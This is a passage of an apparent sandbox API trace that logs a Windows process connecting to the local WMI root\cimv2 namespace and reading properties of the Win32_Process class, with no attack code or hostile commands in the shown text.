pCid=0x1b30bdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0107.807] WbemDefPath:IUnknown:Release (This=0x1b45d770) returned 0x3 [0107.807] CoGetContextToken (in: pToken=0x1b30be40 | out: pToken=0x1b30be40) returned 0x0 [0107.807] CoGetContextToken (in: pToken=0x1b30c2c0 | out: pToken=0x1b30c2c0) returned 0x0 [0107.807] WbemDefPath:IUnknown:QueryInterface (in: This=0x655c70, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c380 | out: ppvObject=0x1b30c380*=0x0) returned 0x80004002 [0107.807] WbemDefPath:IUnknown:Release (This=0x655c70) returned 0x2 [0107.807] WbemDefPath:IUnknown:Release (This=0x655c70) returned 0x1 [0107.807] CoGetContextToken (in: pToken=0x1b30d0b0 | out: pToken=0x1b30d0b0) returned 0x0 [0107.807] CoGetContextToken (in: pToken=0x1b30cfb0 | out: pToken=0x1b30cfb0) returned 0x0 [0107.807] WbemDefPath:IUnknown:QueryInterface (in: This=0x655c70, riid=0x1b30d110*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d0e0 | out: ppvObject=0x1b30d0e0*=0x655c70) returned 0x0 [0107.807] WbemDefPath:IUnknown:AddRef (This=0x655c70) returned 0x3 [0107.807] WbemDefPath:IUnknown:Release (This=0x655c70) returned 0x2 [0107.807] WbemDefPath:IWbemPath:SetText (This=0x655c70, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0107.807] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655c70, puCount=0x1b30d498 | out: puCount=0x1b30d498*=0x2) returned 0x0 [0107.807] WbemDefPath:IWbemPath:GetText (in: This=0x655c70, lFlags=4, puBuffLength=0x1b30d490*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d490*=0xf, pszText=0x0) returned 0x0 [0107.807] WbemDefPath:IWbemPath:GetText (in: This=0x655c70, lFlags=4, puBuffLength=0x1b30d490*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d490*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0107.807] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d508 | out: ppv=0x1b30d508*=0x6124e8) returned 0x0 [0107.807] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4f8 | out: pAptType=0x1b30d4f8*=1) returned 0x0 [0107.807] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d500 | out: ppvObject=0x1b30d500*=0x0) returned 0x80004002 [0107.807] IUnknown:Release (This=0x6124e8) returned 0x1 [0107.808] CoGetClassObject (in: rclsid=0x1b440e38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30cbc8 | out: ppv=0x1b30cbc8*=0x1b45d970) returned 0x0 [0107.808] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45d970, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30ccb0 | out: ppvObject=0x1b30ccb0*=0x0) returned 0x80004002 [0107.808] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b45d970, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cc88 | out: ppvObject=0x1b30cc88*=0x1b45d690) returned 0x0 [0107.808] WbemLocator:IUnknown:Release (This=0x1b45d970) returned 0x0 [0107.808] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45d690, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ca30 | out: ppvObject=0x1b30ca30*=0x1b45d690) returned 0x0 [0107.808] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45d690, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cac0 | out: ppvObject=0x1b30cac0*=0x0) returned 0x80004002 [0107.808] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45d690, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c2b8 | out: ppvObject=0x1b30c2b8*=0x0) returned 0x80004002 [0107.808] WbemLocator:IUnknown:AddRef (This=0x1b45d690) returned 0x3 [0107.808] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45d690, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c178 | out: ppvObject=0x1b30c178*=0x0) returned 0x80004002 [0107.808] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45d690, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c100 | out: ppvObject=0x1b30c100*=0x0) returned 0x80004002 [0107.808] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45d690, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c0f0 | out: ppvObject=0x1b30c0f0*=0x0) returned 0x80004002 [0107.808] CoGetContextToken (in: pToken=0x1b30c1a0 | out: pToken=0x1b30c1a0) returned 0x0 [0107.808] CoGetContextToken (in: pToken=0x1b30c620 | out: pToken=0x1b30c620) returned 0x0 [0107.808] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45d690, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6e0 | out: ppvObject=0x1b30c6e0*=0x0) returned 0x80004002 [0107.808] WbemLocator:IUnknown:Release (This=0x1b45d690) returned 0x2 [0107.808] WbemLocator:IUnknown:Release (This=0x1b45d690) returned 0x1 [0107.808] CoGetContextToken (in: pToken=0x1b30d060 | out: pToken=0x1b30d060) returned 0x0 [0107.809] CoGetContextToken (in: pToken=0x1b30cf60 | out: pToken=0x1b30cf60) returned 0x0 [0107.809] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45d690, riid=0x1b30d0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b30d090 | out: ppvObject=0x1b30d090*=0x1b45d690) returned 0x0 [0107.809] WbemLocator:IUnknown:AddRef (This=0x1b45d690) returned 0x3 [0107.809] WbemLocator:IUnknown:Release (This=0x1b45d690) returned 0x2 [0107.809] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655c70, puCount=0x1b30d498 | out: puCount=0x1b30d498*=0x2) returned 0x0 [0107.809] WbemDefPath:IWbemPath:GetText (in: This=0x655c70, lFlags=8, puBuffLength=0x1b30d490*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d490*=0xf, pszText=0x0) returned 0x0 [0107.883] WbemDefPath:IWbemPath:GetText (in: This=0x655c70, lFlags=8, puBuffLength=0x1b30d490*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d490*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0107.883] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b30d100 | out: ppv=0x1b30d100*=0x1b45d8f0) returned 0x0 [0107.883] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b45d8f0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b30d348 | out: ppNamespace=0x1b30d348*=0x1b4b4160) returned 0x0 [0107.964] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4b4160, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf78 | out: ppvObject=0x1b30cf78*=0x1b470ce0) returned 0x0 [0107.965] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b470ce0, pProxy=0x1b4b4160, pAuthnSvc=0x1b30d040, pAuthzSvc=0x1b30cfc0, pServerPrincName=0x1b30cfe8, pAuthnLevel=0x1b30cfc4, pImpLevel=0x1b30cfd0, pAuthInfo=0x1b30cff8, pCapabilites=0x1b30cfd4 | out: pAuthnSvc=0x1b30d040*=0xa, pAuthzSvc=0x1b30cfc0*=0x0, pServerPrincName=0x1b30cfe8, pAuthnLevel=0x1b30cfc4*=0x6, pImpLevel=0x1b30cfd0*=0x2, pAuthInfo=0x1b30cff8, pCapabilites=0x1b30cfd4*=0x1) returned 0x0 [0107.965] WbemLocator:IUnknown:Release (This=0x1b470ce0) returned 0x1 [0107.965] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4b4160, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf10 | out: ppvObject=0x1b30cf10*=0x1b470d28) returned 0x0 [0107.965] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4b4160, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf20 | out: ppvObject=0x1b30cf20*=0x1b470ce0) returned 0x0 [0107.965] WbemLocator:IClientSecurity:SetBlanket (This=0x1b470ce0, pProxy=0x1b4b4160, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0107.965] WbemLocator:IUnknown:Release (This=0x1b470ce0) returned 0x2 [0107.965] WbemLocator:IUnknown:Release (This=0x1b470d28) returned 0x1 [0107.965] CoTaskMemFree (pv=0x1b461400) [0107.965] WbemLocator:IUnknown:Release (This=0x1b45d8f0) returned 0x0 [0107.965] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4b4160, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ca10 | out: ppvObject=0x1b30ca10*=0x1b470d28) returned 0x0 [0107.966] WbemLocator:IUnknown:QueryInterface (in: This=0x1b470d28, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30caa0 | out: ppvObject=0x1b30caa0*=0x0) returned 0x80004002 [0107.967] WbemLocator:IUnknown:QueryInterface (in: This=0x1b470d28, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c6c0 | out: ppvObject=0x1b30c6c0*=0x0) returned 0x80004002 [0107.968] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4b4160, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c298 | out: ppvObject=0x1b30c298*=0x0) returned 0x80004002 [0107.971] WbemLocator:IUnknown:AddRef (This=0x1b470d28) returned 0x3 [0107.971] WbemLocator:IUnknown:QueryInterface (in: This=0x1b470d28, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c158 | out: ppvObject=0x1b30c158*=0x0) returned 0x80004002 [0107.971] WbemLocator:IUnknown:QueryInterface (in: This=0x1b470d28, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c0e0 | out: ppvObject=0x1b30c0e0*=0x0) returned 0x80004002 [0107.971] WbemLocator:IUnknown:QueryInterface (in: This=0x1b470d28, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c0d0 | out: ppvObject=0x1b30c0d0*=0x1b470c08) returned 0x0 [0107.971] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b470c08, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c0f8 | out: pCid=0x1b30c0f8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0107.971] WbemLocator:IUnknown:Release (This=0x1b470c08) returned 0x3 [0107.971] CoGetContextToken (in: pToken=0x1b30c180 | out: pToken=0x1b30c180) returned 0x0 [0107.972] CoGetContextToken (in: pToken=0x1b30c600 | out: pToken=0x1b30c600) returned 0x0 [0107.972] WbemLocator:IUnknown:QueryInterface (in: This=0x1b470d28, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6c0 | out: ppvObject=0x1b30c6c0*=0x1b470cf0) returned 0x0 [0107.972] WbemLocator:IRpcOptions:Query (in: This=0x1b470cf0, pPrx=0x1b470d28, dwProperty=2, pdwValue=0x1b30c6b0 | out: pdwValue=0x1b30c6b0) returned 0x80004002 [0107.972] WbemLocator:IUnknown:Release (This=0x1b470cf0) returned 0x3 [0107.972] WbemLocator:IUnknown:Release (This=0x1b470d28) returned 0x2 [0107.972] CoGetContextToken (in: pToken=0x1b30ccc0 | out: pToken=0x1b30ccc0) returned 0x0 [0107.972] CoGetContextToken (in: pToken=0x1b30cbc0 | out: pToken=0x1b30cbc0) returned 0x0 [0107.972] WbemLocator:IUnknown:QueryInterface (in: This=0x1b470d28, riid=0x1b30cd20*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b30ccf0 | out: ppvObject=0x1b30ccf0*=0x1b4b4160) returned 0x0 [0107.972] WbemLocator:IUnknown:AddRef (This=0x1b4b4160) returned 0x4 [0107.972] WbemLocator:IUnknown:Release (This=0x1b4b4160) returned 0x3 [0107.972] WbemLocator:IUnknown:Release (This=0x1b4b4160) returned 0x2 [0107.972] SysStringLen (param_1=0x0) returned 0x0 [0107.972] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655c70, puCount=0x1b30d4d8 | out: puCount=0x1b30d4d8*=0x2) returned 0x0 [0107.972] WbemDefPath:IWbemPath:GetText (in: This=0x655c70, lFlags=4, puBuffLength=0x1b30d4d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4d0*=0xf, pszText=0x0) returned 0x0 [0107.972] WbemDefPath:IWbemPath:GetText (in: This=0x655c70, lFlags=4, puBuffLength=0x1b30d4d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d4d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0107.972] CoGetContextToken (in: pToken=0x1b30cde0 | out: pToken=0x1b30cde0) returned 0x0 [0107.972] WbemLocator:IUnknown:AddRef (This=0x1b470d28) returned 0x3 [0107.972] WbemLocator:IUnknown:QueryInterface (in: This=0x1b470d28, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cde0 | out: ppvObject=0x1b30cde0*=0x1b470d28) returned 0x0 [0107.972] WbemLocator:IUnknown:Release (This=0x1b470d28) returned 0x3 [0107.972] WbemLocator:IUnknown:Release (This=0x1b470d28) returned 0x2 [0107.972] WbemDefPath:IWbemPath:GetText (in: This=0x656ab0, lFlags=2, puBuffLength=0x1b30d4e0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4e0*=0xe, pszText=0x0) returned 0x0 [0107.972] WbemDefPath:IWbemPath:GetText (in: This=0x656ab0, lFlags=2, puBuffLength=0x1b30d4e0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d4e0*=0xe, pszText="Win32_Process") returned 0x0 [0107.973] IWbemServices:GetObject (in: This=0x1b4b4160, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b30d460*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d460*=0x643200, ppCallResult=0x0) returned 0x0 [0107.978] IWbemClassObject:Get (in: This=0x643200, wszName="__PATH", lFlags=0, pVal=0x1b30d3f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d558*=0, plFlavor=0x1b30d550*=0 | out: pVal=0x1b30d3f0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b30d558*=8, plFlavor=0x1b30d550*=64) returned 0x0 [0107.978] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0107.978] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0107.978] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d428 | out: ppv=0x1b30d428*=0x6124e8) returned 0x0 [0107.978] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d418 | out: pAptType=0x1b30d418*=1) returned 0x0 [0107.978] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d420 | out: ppvObject=0x1b30d420*=0x0) returned 0x80004002 [0107.978] IUnknown:Release (This=0x6124e8) returned 0x1 [0107.979] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c818 | out: ppv=0x1b30c818*=0x1b45d970) returned 0x0 [0107.979] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b45d970, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c900 | out: ppvObject=0x1b30c900*=0x0) returned 0x80004002 [0107.979] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b45d970, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8d8 | out: ppvObject=0x1b30c8d8*=0x656330) returned 0x0 [0107.979] WbemDefPath:IUnknown:Release (This=0x1b45d970) returned 0x0 [0107.979] WbemDefPath:IUnknown:QueryInterface (in: This=0x656330, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c680 | out: ppvObject=0x1b30c680*=0x656330) returned 0x0 [0107.980] WbemDefPath:IUnknown:QueryInterface (in: This=0x656330, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c710 | out: ppvObject=0x1b30c710*=0x0) returned 0x80004002 [0107.980] WbemDefPath:IUnknown:QueryInterface (in: This=0x656330, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bf08 | out: ppvObject=0x1b30bf08*=0x0) returned 0x80004002 [0107.980] WbemDefPath:IUnknown:AddRef (This=0x656330) returned 0x3 [0107.980] WbemDefPath:IUnknown:QueryInterface (in: This=0x656330, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdc8 | out: ppvObject=0x1b30bdc8*=0x0) returned 0x80004002 [0107.980] WbemDefPath:IUnknown:QueryInterface (in: This=0x656330, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd50 | out: ppvObject=0x1b30bd50*=0x0) returned 0x80004002 [0107.980] WbemDefPath:IUnknown:QueryInterface (in: This=0x656330, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x1b45d6f0) returned 0x0 [0107.980] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b45d6f0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd68 | out: pCid=0x1b30bd68*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0107.980] WbemDefPath:IUnknown:Release (This=0x1b45d6f0) returned 0x3 [0107.980] CoGetContextToken (in: pToken=0x1b30bdf0 | out: pToken=0x1b30bdf0) returned 0x0 [0107.980] CoGetContextToken (in: pToken=0x1b30c270 | out: pToken=0x1b30c270) returned 0x0 [0107.980] WbemDefPath:IUnknown:QueryInterface (in: This=0x656330, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c330 | out: ppvObject=0x1b30c330*=0x0) returned 0x80004002 [0107.980] WbemDefPath:IUnknown:Release (This=0x656330) returned 0x2 [0107.980] WbemDefPath:IUnknown:Release (This=0x656330) returned 0x1 [0107.980] CoGetContextToken (in: pToken=0x1b30d060 | out: pToken=0x1b30d060) returned 0x0 [0107.980] CoGetContextToken (in: pToken=0x1b30cf60 | out: pToken=0x1b30cf60) returned 0x0 [0107.980] WbemDefPath:IUnknown:QueryInterface (in: This=0x656330, riid=0x1b30d0c0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d090 | out: ppvObject=0x1b30d090*=0x656330) returned 0x0 [0107.980] WbemDefPath:IUnknown:AddRef (This=0x656330) returned 0x3 [0107.980] WbemDefPath:IUnknown:Release (This=0x656330) returned 0x2 [0107.980] WbemDefPath:IWbemPath:SetText (This=0x656330, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0107.980] IWbemClassObject:Get (in: This=0x643200, wszName="__SERVER", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=0, plFlavor=0x1b30d608*=0 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="XC64ZB", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0107.980] SysStringByteLen (bstr="XC64ZB") returned 0xc [0107.980] SysStringByteLen (bstr="XC64ZB") returned 0xc [0107.981] IWbemClassObject:Get (in: This=0x643200, wszName="__NAMESPACE", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, 